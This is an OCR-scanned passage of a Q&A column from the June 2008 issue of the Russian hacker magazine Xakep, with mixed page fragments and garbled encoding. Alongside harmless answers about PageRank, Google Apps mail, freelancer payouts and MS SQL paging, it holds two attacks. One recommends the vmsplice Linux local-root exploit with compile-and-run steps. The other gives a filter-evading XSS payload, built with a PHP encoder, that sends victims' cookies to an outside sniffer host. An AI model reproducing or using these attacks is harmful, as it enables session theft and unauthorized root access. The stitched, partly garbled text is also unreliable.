книги хакеры / журнал хакер / 114_Optimized

месте тут же появится другой. Немного информации по теме кражи доров ты сможешь найти тут: http://forum.glavmed.com/showthread.php?t=1342

Q: Какой local root exploit под не самые старые ядра linux можешь посоветовать, как самый эффективный?

A: По долгу службы я чаще всего сталкиваюсь с ядрами 2.6.2x ветки. Под них существует несколько паблик сплойтов, но моим любимым явля-

ется Linux Kernel 2.6.17 — 2.6.24.1 vmsplice Local Root Exploit (http:// milw0rm.com/exploits/5092). С ним я получаю рут в два шага:

1)компилюgcc -static -Wno-format -O2 vmsplice.c -o vmsplice;

2)запускаю (./vmsplice), жду 2 секунды и наслаждаюсь правами рута :).

Q: Нашел XSS на серьезном сервисе, но все нехорошие символы, кроме < и >, жестко фильтруются, как быть?

A: Тоже недавно столкнулся с этим вопросом и придумал элегантное решение с объединением массивов и функции fromCharCode()в javascript. Смотри. У нас имеется адрес сниффера, который отлавливает приходящие на него кукисы, например http://snif.com/sniffer.php?id=[тут передаются куки]. Засовываем этот адрес в нехитрый php-скрипт:

<?php $site='http://snif.com/sniffer.php?id='; for($i=0;$i<256;$i++) {

$arr[chr($i)]=$i;

}

for($i=0;$i<strlen($site);$i++){ $i!=(strlen($site)-1) ? print $arr[substr($site,$i,

1)].

',' : print $arr[substr($site,$i,1)];

}

?>

Получаем на выходе строку символов «104,116,116,112,58,47,47 ,115,110,105,102,46,99,111,109,47,115,110,105,102,102,1 01,114,46,112,104,112,63,105,100,61» и составляем на основе полученных данных свой код XSS:

http://sitexss.com/xss.php?xss=><script>var myArray;myArray = new Array();myArray[1] = document. cookie;myArray[0] = String.fromCharCode(104,116,116,11 2,58,47,47,115,110,105,102,46,99,111,109,47,115,110,10 5,102,102,101,114,46,112,104,112,63,105,100,61);string

=myArray.join(1);location.href = string</script><

Врезультате, такая конструкция обойдет большинство фильтров (на тот же самый знак «+», который используется в большинстве случаев), и долгожданные кукисы будут у тебя!

Q: Сколько всего существует сайтов с Google PR=10?

A: Сложный вопрос. С каждым обновлением PR сайтов значительно меняется, но каноническими (и авторитетнейшими) «десятками» могут считаться следующие страницы:

•http://www.adobe.com — Adobe (еще, по меньшей мере, семь страниц на сайте адоба имеют PR=10);

•http://www.w3.org — World Wide Web Consortium;

•http://www.macromedia.com — Macromedia;

•http://www.energy.gov — Министерство Энергетики США;

•http://www.apple.com/quicktime — Apple — QuickTime;

•http://www.keio.ac.jp — Keio University;

xàêåð 06 /114/ 08

ASPMX2.GOOGLEMAIL.COM. — 30

ASPMX3.GOOGLEMAIL.COM. — 30

ASPMX4.GOOGLEMAIL.COM. — 30

ASPMX5.GOOGLEMAIL.COM. — 30

Теперь остается настроить интерфейс самого Google. Для этого переходим на http://google.com/a/, логинимся, переходим в панель управления и кликаем по ссылке «Manage this domain» (управление доменом), где включаем работу с e-mail. Google проверит правильность указанных MX-записей и, если все ОК, — обновит базы. Теперь ты можешь создать пользователей и наслаждаться интерфейсом и возможностями Gmail’а для своего произвольного e-mail адреса!

Q: Хочу начать работать на западных биржах для фрилансеров. Интересует такой вопрос: как наиболее просто получить заработанные деньги?

A:Долгое время проблема заключалась в том, что у каждой из популяр-

ных бирж (GetAFreelancer, RentACoder, oDesk, eLance) были свои собст­ венные порядки вывода денег. Одни предлагают выслать чек, который сложно и долго обналичивать, другие — выплаты через платежную систему PayPal, которая при всех свои достоинствах не позволяет принимать деньги резидентам из СНГ. Однако за последний год все перечисленные системы стали поддерживать новый метод выплат с использованием дебетовых карточек от компании Payoneer (www.payoneer.com). Заказать карту можно либо у самого сервиса, либо через посредника — в любом случае она придет тебе в течение нескольких недель. За пересылку с тебя возьмут $20, которые спишутся, как только на карте окажется достаточно средств. Для вывода оплаты тебе остается только указать

параметры своего аккаунта в Payoneer, после чего быстро снимать перечисленные деньги через любой банкомат.

Помимо возможности выводить деньги с внутренних счетов фрилансерских бирж, ты получаешь массу бонусов. Во-первых, ты приобретаешь карту международной платежной системы Mastercard (обслуживание такой карты в обычном банке обойдется не дешевле $20 в год), которую можешь использовать в любых магазинах, в том числе и онлайн. Во-вторых, ты сможешь выводить на нее Webmoney, используя сервис

CardMoney (cardmoney.ru).

Q: По просьбе заказчика переписываю код для работы с MS SQL вместо СУБД MySQL, которая использовалась ранее. И не могу понять: неужели в СУБД от Microsoft нет такой полезной вещи, как возможность указать LIMIT в SELECT запросе? Если так, то как это можно обойти?

A: MS SQL действительно не имеет аналога LIMIT. После длительного использования MySQL это дико раздражает. Но решение есть. Оцени разницу. В MySQL запрос выглядит следующим образом:

SELECT * FROM 'some_table' LIMIT 10, 20

В случае с MS SQL придется «изобретать велосипед», что непременно приводит к потере производительности.

1.SELECT top 20 * FROM [some_table]

2.WHERE [primary_key_field] NOT IN

3.(

4.SELECT top 10 [primary_key_field]

5.FROM [some_table]

6.ORDER BY [primary_key_field]

7.)

8.ORDER BY [primary_key_field] z

xàêåð 06 /114/ 08

x № 06(114) июнь 2008

июнь 06 (114) 2008

Офисное

западло

хакерский девайс, который сведет с ума твоих коллег

стр. 30

www.Xakep.ru

Хакерскаяпочта

вдомене@xakep.ru